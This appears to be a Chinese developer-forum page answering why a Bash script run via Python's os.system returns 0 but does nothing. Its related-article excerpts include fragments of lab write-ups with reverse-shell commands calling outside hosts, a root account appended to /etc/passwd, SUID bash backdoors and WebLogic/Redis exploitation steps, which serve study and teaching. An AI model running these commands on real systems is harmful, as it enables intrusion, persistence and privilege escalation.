首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

在Python中使用os.systems执行的Bash脚本返回0,但不执行/写入

在Python中使用os.systems执行的Bash脚本返回0,但不执行/写入的情况可能是由于以下几个原因造成的:

  1. 权限问题:首先要确保Python程序具有执行Bash脚本的权限。可以使用os模块中的chmod函数来设置Bash脚本的执行权限,例如:os.chmod("script.sh", 0o755)。此外,还要确保Python程序有足够的权限来执行/写入脚本所需的目录。
  2. 路径问题:当使用os.systems执行Bash脚本时,需要提供完整的路径。如果脚本所在的路径未被正确设置,Python可能无法找到该脚本并执行它。可以使用os模块中的os.path.join函数来构建完整的脚本路径。
  3. 脚本内容问题:检查Bash脚本的内容是否正确。可能存在语法错误或逻辑错误导致脚本在执行过程中出现问题。可以尝试在命令行中直接执行该脚本,确认脚本本身是否能够正常运行。
  4. 环境变量问题:Bash脚本可能依赖于特定的环境变量。在使用os.systems执行脚本之前,可以尝试在Python程序中设置所需的环境变量,以确保脚本能够正常执行。

总结起来,要解决在Python中使用os.systems执行的Bash脚本返回0,但不执行/写入的问题,可以逐步检查权限、路径、脚本内容和环境变量等方面的可能原因,并逐一排除。如果仍然无法解决问题,可以考虑使用subprocess模块代替os.systems执行Bash脚本,以获得更详细的错误信息和更强大的功能。

附录:

  1. os模块的官方文档:https://docs.python.org/3/library/os.html
  2. subprocess模块的官方文档:https://docs.python.org/3/library/subprocess.html
页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

python脚本执行shell命令方法

python脚本执行shell命令方法 最近在写python一些脚本,之前使用python都是django中使用,可能大部分内容都是偏向于后端开发方面的,最近在写一些脚本时候,发现了...使用Python处理一个shell命令或者一个执行一个shell脚本,一般情况下,有下面三种方法,下面我们来看: 第一种方法是使用os.system方法 os.system("cmd") 我们在当前目录下面创建一个...shell命令打印出来aaa.sql内容,然后下面出现数字0代表上述命令执行成功;如果我们打印bbb.sql则返回值是256,表示执行中出现了问题。...,可以得到一个脚本或者一个命令返回值和执行结果,当然,我们也可以使用下面的方法来分别校验aaa.sql文件是否存在,以及查看aaa.sql执行结果: 1[root@ /data]$python 2Python...第三种方法是使用popen函数 os.popen() 返回是 file read 对象,对其进行读取 read() 操作可以看到执行输出 1[root@ /data]$python 2Python

5.3K00

【永久开源】vulntarget-c 打靶记录

python3 exp.py "system('id')",里面的IP需要改成攻击IP 测试反弹shell不成功 bash -i >& /dev/tcp/192.168.0.107/6666 0>&...接下来就是提权 然后使用suggester脚本搜索提权漏洞,这里搜索到一个: 但是尝试攻击之后,发现并没有攻击成功或者说是没有session返回 host目录下发现存在vulntarget目录...这里没有添加else,如果使用了非数字会进入调试器,调试器中就可以执行python命令 这里忘记截图了,就是说sudo root.py之后ssh进入一个新,或者nc 192.168.0.120...'nami:nami$6L6IhMNlfyB2WqmHiWRy30:0:0::/root:/bin/bash' >>/etc/passwd') 使用ssh登录成功,获取一个root权限账户 /...frpc到目标服务器,然后使用msf执行 python3 -c 'import pty;pty.spawn("/bin/bash") 使用sqlmap进行爆破,sqlmap -r sql.txt --

1.3K20
  • 权限维持之Linux后门

    设置suid权限位 原理:设置了suid权限位文件执行时具有该文件拥有者权限,故我们可以root权限时留一个bash文件后门,使得低权限时能够通过该后门获得root权限 cp /bin/bash...使用-p参数获取 3.bash环境文件 原理:bash环境文件/etc/profile,~/.bash_profile,~/.bashrc,~/.bash_logout等,这些文件本质上是脚本文件,当用户登录系统后...,会陆续执行其中部分文件,在其中写入bash命令即可在用户登录时执行。...python2那么就会有python2扩展,如果是python3,那么就会有python3扩展,利用该扩展,可以用vim执行python脚本。...脚本python3失效了 9.终端解析\r隐藏文本 原理:shell解析\r时会忽略掉\r前信息,故,使用该特点隐藏webshell代码 echo -e"<?

    2K20

    告警监控系统开发

    /bin/bash # 是否发送邮件开关(维护模式下我们需要关闭此功能,监控还是继续,但不发任何邮件。)...发邮件告警:满足负载超过10,且不在维护模式(主配置文件定义执行动作:写入日志,并执行发邮件脚本(后面会介绍)。 脚本:高于负载就报警;不高于负载就记录到日志。...: 监控所有磁盘分区 查看各个磁盘已用百分比 设置分区使用告警值 写入一个临时文件 再次加一重判断,如果文件存在就开始发邮件报警并写入日志 ---- 四、邮件引擎 一旦之前所设定部分监控脚本超出了设定值...发了邮件后,写一个计数器log.txt,else我们现在就不执行了,因为那是小于3600才执行东西。...假如脚本执行3分钟时候,突然故障恢复了,脚本也就不会再次执行,然后计数器保持2,计数周期内如果恢复,只有一个小时以后故障才会消失,大于3600,如果在一个小时内报警,还是按照之前计数器继续执行

    1.5K61

    如何友好PythonBash结合在一起

    与其他流行操作系统不同,Linux社区使用命令行与使用图形用户界面执行类似任务相比,命令行通常可以提供更优雅,更有效解决方案。 ?...使用bash和其他类似的shell,可以使用许多强大功能,例如管道,文件名通配符以及从称为脚本文件读取命令功能。 让我们看一个真实示例来演示命令行功能。...但Python不应替换所有bash命令。编写以UNIX方式运行Python程序(即读入标准输入并写入标准输出)与为现有的shell命令(如cat和sort)编写Python替代品一样强大。...代替uniq,Python脚本可以用作链另一个命令。这是一个执行此操作Python程序(示例,我将此文件称为namescount.py): #!...首先,它从通过sys.stdin对象公开标准输入读取输入。任何输出都将写入sys.stdout对象,这是Python实现标准输出方式。

    98110

    Shell编程基入门

    ,该程序就可以成为Shell脚本,通俗说就是将一大堆命令写入脚本,再由Shell执行,就叫做Shell脚本,这种通过文件执行脚本方式称为非交互方式,Windows下,这种被称为 ‘Dos批处理程序.../bin/bash cd /var/log cat /dev/null > messages echo "Logs Cleaned up." 3、Shell脚本语言种类 1、Shell脚本语言Unix...localhost ~] # grep root /etc/passwd 4、脚本建立以及执行 1、脚本开头(第一行) 会以如下形式指出由哪个解释器来执行脚本内容,如下 #!...done 这里是利用while语句进行循环输出,注意 [] 括号和数字之间一定要有空格,不能挨在一起,这里 -gt 是指大于,若1>0 条件成立,那么就执行 2、脚本执行 1、使用 ....加上文件名或者绝对路径,点后面有一个空格 2、使用解释器执行,如下: 3、使用source 3.脚本终止 CTRL + C 5、脚本基本运算符 运算符 说明 -eq 检测两个数是否相等,相等返回

    34440

    Linux 提权总结

    UID: 高权限用户降权后,保留其原本UID (不展开说) 所以增加了一个s权限,该程序实际运行时Effective UID就会变为0,即rootUID sudo 就是能把一个命令视作root来执行...上s权限,而nmap 5.20(使用nmap -v查看nmap版本)之前有一个interactive交互模式(nmap –interactive),nmap effective uid为0时,可以通过这个模式获得...执行/bin/sh即可 一般都是shell键入!...suid权限 攻击者视角: 首先使用下列指令搜寻suid权限文件 find / -perm -u=s -type f 2>/dev/null 发现可疑目标,执行一下看看 发现返回了ps命令结果,我们可以以此猜测这个文件内部...首先我们执行如下命令 docker run -v /:/mnt --rm -it crf_web1 chroot /mnt sh 然后在其中/etc/passwd写入一个root权限用户(我这里直接无密码了

    6.2K20

    Kali Linux 网络扫描秘籍 第八章 自动化 Kali 工具

    工作原理 MSFCLI 是 MSF 控制台有效替代工具,可用于直接从终端执行单行命令,而不是交互式控制台中工作。 这使得 MSFCLI 对于 bash shell 脚本使用是一个很好功能。...所以下一行使用if ... then条件语句结合grep序列,来确定返回输出插件 ID。如果输出返回了插件ID,表明系统应该存在漏洞,那么将执行相应 Metasploit 利用模块。...一旦脚本执行完毕,将在目标系统上返回具有root权限交互式 shell。 为了演示这一点,我们使用了whoami和cat命令。...如果你想确认大量系统单个漏洞可利用性,单独利用每个漏洞任务可能变得乏味。 幸运是,通过结合 MSFCLI 和 bash 脚本功能,可以通过执行单个脚本,轻易多个系统上同时执行攻击。...工作原理 Netcat 是一个功能强大工具,可以用于各种目的。 虽然这是远程执行服务有效方式,但不建议在生产系统上使用此技术。

    5.2K20

    weblogic漏洞复现

    即可探测内网状态注入HTTP头,利用Redis反弹shellweblogic是可以通过%0a%d来注入换行符,而redis服务也是通过换行符来分隔每条命令,因此我们可以通过该SSRF攻击内网redis...工具使用/复制运行exploit脚本python /root/44553.py 110.41.41.14 7001 ysoserial.jar 110.41.41.14 2333 JRMPClient​...其中参数含义依次是 语言 脚本路径 目标IP 目标端口 ysoserial本地路径 ysoserial服务IP ysoserial服务端口 ysoserial监听服务名称此脚本运行最好在python2环境下使用...使用这两个漏洞组成利用链,可通过一个GET请求远程Weblogic服务器上以未授权任意用户身份执行命令。...python搭建简单http服务然后通过如下URL,即可让weblogic加载这个xml并执行xml文件命令http://110.41.41.14:7001/console/css/%252e%252e

    17310

    该死端口占用!教你用 Shell 脚本一键干掉它!

    Web 开发,经常会遇到「端口被占用」场景 常规解决方案是: ​使用 lsof -i 命令查询占用端口进程 PID 利用 kill -9 PID 干掉目标进程 虽然只有 2 步,我也觉得很繁琐...实现 相比 Python,Shell 脚本常用于处理偏操作系统底层业务,简单、开发效率高 以 Mac OSX 为例,本地创建一个 .sh 文件,实现步骤如下: 2-1  定义端口号及过滤内容参数...将要处理端口号及命令行过滤内容参数化,然后 Shell 脚本赋值给两个变量 $1 执行脚本第一个参数,即:端口号 $2 执行脚本第二个参数,即:过滤进程命令内容 # 要干掉端口号 port_be_kill...,我们使用 Alias 给命令设置一个别名 修改「.bash_profile」文件,将 Shell 脚本文件完整路径及执行命令写入到一个自定义函数 # vim .bash_profile # alias...脚本不一样;它需要使用 netstat/tasklist/taskkill 命令去改写 另外,PC 端执行 Shell 脚本建议使用 Git Bash # Win处理端口占用 # 1、打开cmd终端

    1.4K10

    实战 | 利用SSRF渗透内网主机-上

    /html类型 image-20211127224519722 我们可以利用返回信息来进行内网探测 内网探测脚本编写 编写一个python脚本自动化探测内网存活主机ip与开放端口 #!...•-x参数:从标准输入读取一个参数:•redis0个数据库添加key为1,value为\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&...而且传输命令时,若命令中有空格,则该命令需要做一次十六进制编码。 在这里使用了一个大佬写好python脚本进行利用: #!...使用dict协议暴力破解 登录错误情况下返回如下信息 image-20211129200305828 登录正确情况下返回如下信息 image-20211129200340232 自动化脚本编写...gopher协议暴力破解 登录错误情况下返回如下信息 image-20211129201936583 登录正确情况下返回如下信息 image-20211129202016066 自动化脚本编写

    1.7K30

    Kali Linux 网络扫描秘籍 第二章 探索扫描(一)

    Scapy 也是一个可以 Python使用库,从而提供创建高效脚本,来执行网络流量处理和操作函数。...然后对于每个回复活动主机,将相应 IP 地址打印到屏幕上,以表明主机 LAN 上活动。一旦脚本写入本地目录,你可以终端中使用句号和斜杠,然后是可执行脚本名称来执行它。...用法输出表明此脚本需要一个参数,该参数定义应使用哪个接口执行扫描。 以下示例使用eth0接口执行脚本: root@KaliLinux:~# ....为了我们脚本使用这个 IP 地址列表,我们需要在 Python 执行一些文件处理。 工作脚本示例如下所示: #!...为了测试 bash 每个实例响应,我们应该确定响应包含唯一字符串,它标识了活动主机,但不包括没有收到响应时情况。

    2.9K30

    解决shell脚本source etcprofile重载配置文件不生效问题

    背景 最近在通过shell脚本Linux系统安装Java或Python过程,遇到了shell脚本“source /etc/profile”无法生效问题,虽然也可以执行脚本后再次执行“source...以下为本次解决问题实践记录: 1.示例 如下图所示,python_install.sh脚本安装完Python3、配置完环境变量后,使用source /etc/profile 命令来重新加载配置文件...(点) 用于使shell读取指定shell文件,并依次执行文件所有语句 作用于当前shell进程 sh 执行指定shell脚本子shell执行脚本语句 创建一个子shell,namespace...执行脚本,继承父shell环境变量,但不改变父shell环境变量,仅对当前子shell有效 ./ 执行当前脚本文件,前提是待执行文件具有可执行属性,等价于sh 创建一个子shell,namespace...执行脚本,继承父shell环境变量,但不改变父shell环境变量,仅对当前子shell有效 5.其他注意事项 若shell脚本使用了source命令,则需要使用bash(或source)来执行

    8.1K31

    emp3r0r:dropper和ELF加密壳

    当然,为了让shellcode更短,你完全可以minify一下上面的脚本,也可以删掉不必要部分。 Shellcode加载 Python 你不能直接拿shell脚本执行shellcode,对吧?...根据sektor7文章,思路大致是: 加载libc到当前python进程 使用mmap分配一块具有写入执行权限内存区域 把shellcode写进去 cast我们shellcode buffer...我把这个脚本集成到了emp3r0rdropper模块,如果你需要加载自己shellcode,请按照Wiki说明操作。...首先,linux,大部分情况下,我们可以修改子进程内存(/proc/pid/mem)。...我们bash脚本会启动一个sleep进程,然后使用dd来替换当前bash,最后dd就成为了sleep父进程。 然后,我们把shellcode写到sleeptext段某处,等待它被执行

    1.1K10

    Linux通过第三方应用提权实战总结

    将其追加到kali/etc/passwd文件 将 hacker:$1$hacker$0vnQaCNuzDe3w9d6jHfXQ0:0:0:/root:/bin/bash 追加到passwd ...还有一种可以这样玩:先创建一个 liuwx 文件,然后将它压缩为zip文件,最后使用unzip-command来执行bash命令从而提权: touch liuwx sudo zip /tmp/liuwx.zip...将两个c文件本地编译后,上传到靶机下,更改权限后运行; ? exim4提权 Exim4是剑桥大学开发另一种消息传输代理(MTA),用于连接到InternetUnix系统上使用。...上传脚本执行后成功; ? vi提权 vi命令分配了root权限 ? 运行sudo -l发现该用户可以任意用户执行vi,按esc后输入:!/bin/bash直接提权至root。...2、修改/etc/crontab计划任务文件 可以/etc/crontab下写入定时计划,提升到root权限。 crontab介绍 Linux crontab是用来定期执行程序命令。

    1.5K20

    Linux-Day15

    命令行界面的主提示符位置参数变量用于向命令或程序脚本传递信息$n:n为数字,$0代表命令(脚本)本身,$1~$9代表第1~9个参数,10以上参数需要用大括号包含,如${10}$* :代表命令行中所有参数...:获取执行上一个指令执行状态返回值,0代表上一个指令执行成功,否则为执行失败$$:获取当前执行shell脚本进程号PID$!...是LinuxShebang符号,指定解释器其它脚本Linux中使用其他编程语言,需要在shebang定义解释器。.../usr/bin/env Rscript##env位置相对固定,使用env去调用当前环境下解释器shell脚本修改文件权限后可直接通过路径调用(充当command)保存运行日志bash test.sh.../Last30/trainee/Last30test.sh: line 3: ppp: command not found##2 进行重定向,但不指定标准输出和标准误输出,正确out.log,错误输出到标准输出流

    12810

    shell脚本知识记录

    读取返回码 一般程序/命令执行结束时都会返回一个 返回码,比如 javasystem.exit(-1) pythonsys.exit(-1) 还有上面Shell脚本最后一行exit 0 如果你不显式指定返回码...,一般默认为0,表示正常退出,但是有时候显式指定返回码是一个好习惯哦 这些程序Shell执行,可以使用$?...来读取上一个程序执行下来脚本码 #! /bin/bash du -s #执行返回码一般为0 echo du -s返回码为 $?.../hi.sh: line 6: duu: command not found duu -s返回码为 127 返回码配上if判断,就可以使用shell脚本自由得各个语言以及命令穿梭啦^_^ 数学运算...外部语言:比如java,python可以直接使用他们java调用jar,java文件,也可以直接使用关键字来执行python文件 总结 Shell很好很强大,得学习!!!

    53830

    Shell 快速指南

    决定了脚本可以像一个独立执行文件一样执行,而不用在终端之前输入sh, bash, python, php等。...数组 跟其它程序设计语言一样,bash数组变量给了你引用多个值能力。bash,数组下标也是从0开始,也就是说,第一个元素下标是0。 跟数组打交道时,要注意一个特殊环境变量IFS。...这里可以找到有关bash单双括号区别的答案。 使用if if使用上跟其它语言相同。如果括号里表达式为真,那么then和fi之间代码会被执行。fi标志着条件代码块结束。...函数可以接收参数并返回结果 —— 返回值。参数,函数内部,跟非交互式下脚本参数处理方式相同 —— 使用位置参数。返回值可以使用return命令 返回 。...读取命令,但不执行(语法检查) -t — 执行完第一条命令后退出 -v verbose 执行每条命令前,向stderr输出该命令 -x xtrace 执行每条命令前,向stderr输出该命令以及该命令扩展参数

    3.3K101

    必会 24 道 Shell 脚本面试题

    原文出处:linuxtechi 译文出处:LCTT 译文链接:http://linux.cn/article-5311-1.html 虽然现在Python在运维工作已经使用很普遍,但是很多企业找...标记用途是什么? 答:写一个shell脚本时,如果你想要检查前一命令是否执行成功,if条件中使用“$?”可以来检查前一命令结束状态。...2 如果结束状态不是0,说明命令执行失败。 Q:7 shell脚本如何比较两个数字 ? 答:if-then中使用测试命令( -gt 等)来比较两个数字,例子如下: #!...答:break命令一个简单用途是退出执行循环。我们可以while和until循环中使用break命令跳出循环。 Q:9 shell脚本continue命令作用 ?...如果文件存在并可执行返回true Q:19 shell脚本,如何写入注释 ?

    1K30
    领券